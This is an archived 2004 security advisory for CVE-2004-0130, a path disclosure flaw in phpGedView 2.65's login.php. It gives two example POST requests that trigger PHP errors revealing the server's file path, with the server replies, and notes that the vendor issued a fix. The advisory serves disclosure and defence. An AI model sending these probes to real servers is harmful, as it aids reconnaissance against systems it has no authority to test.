advisory0001 · CVE-2004-0130 · published 2004-01-25

PhpGedView Path Disclosure Vulnerability

archived risk: medium

Current status

This advisory describes a vulnerability from 2004. It is not in the CISA Known Exploited Vulnerabilities catalog and there is no active remediation deadline. The page is kept online because other security databases link to it.

CVE reference CVE-2004-0130
In KEV catalog no
Affected software phpGedView version 2.65 and prior
Captured from netvigilance.com

Original document

Reproduced as it was published, including the advisory numbering, scoring and the disclosure timeline used at the time.

converted from html as published 2004-01-25

Description:
login.php in phpGedView 2.65 and earlier allows remote attackers to obtain sensitive information via an HTTP request to login.php that does not contain the required username or password parameters, which causes the information to be leaked in an error message.

External References:
Mitre CVE: CVE-2004-0130
Securiteam Listing: unixfocus/5NP0M1PBPQ

Summary:
phpGedView is an open source system for online viewing of Gedcom information (family tree and genealogy information). A security problem in the product allows attackers to gather the true path of the server-side script.

Release Date:
January 25 2004

Severity:
Medium

SecureScout Testcase ID:
TC 17865 (released Feb 6th)

Vulnerable Systems:
phpGedView version 2.65 and prior

Vulnerability Type:
Input Validation error - The login.php script is not testing if a variable which is supposed to be posted has been defined before using it.

Vendor Status:
The Vendor has been notified and has Released a Version 2.65.3 that fixes the problem

Example:
I - Path disclosure

-- HTTP Client Request --

http://target/phpGedView/login.php POST DATA: action=login

-- HTTP Client Request --

Username and password are missing and will generate an PHP error message
displaying the Real Path.

-- HTTP Server Reply --

< br /> < b>Warning< /b>: Undefined index: username in
< b>/var/www/phpGedView/login.php< /b> on line < b>36< /b>< br /> < br />
< b>Warning< /b>: Undefined index: password in
< b>/var/www/phpGedView/login.php< /b> on line < b>36< /b>< br /> < br />
< b>Warning< /b>: Cannot add header information - headers already sent by (output
started at /var/www/phpGedView/login.php:36) in
< b>/var/www/phpGedView/functions_print.php< /b> on line < b>492< /b>< br />

-- HTTP Server Reply --

-------------------------------------------

II - Path disclosure with a valid user account

-- HTTP Client Request --

http://target/phpGedView/login.php POST DATA:
action=login&url=editconfig.php&usertime=&username=admin&password=login

-- HTTP Client Request --

Username/password must be a valid couple. The usertime is missing and will
generate an PHP error message displaying the Real Path.

-- HTTP Server Reply --

< br /> < b>Warning< /b>: strtotime() called with empty time parameter in
< b>/var/www/phpGedView/login.php< /b> on line < b>39< /b>< br< br /> < b>Warning< /b>:
Cannot add header information - headers already sent by (output started at
/var/www/phpGedView/login.php:39) in < b>/var/www/phpGedView/login.php< /b> on
line < b>44< /b>< br /> />

-- HTTP Server Reply --

Credits:
Cedric Cochin - netVigilance Vulnerability Research team

Original URL: /advisory0001.html · preserved at the same address

Why this page still exists

Advisories published between 2004 and 2015 are referenced by vulnerability databases, academic papers and mailing list archives. Removing them would break those references, so every advisory keeps its original address and its original text. Nothing on this page has been rewritten to match current practice.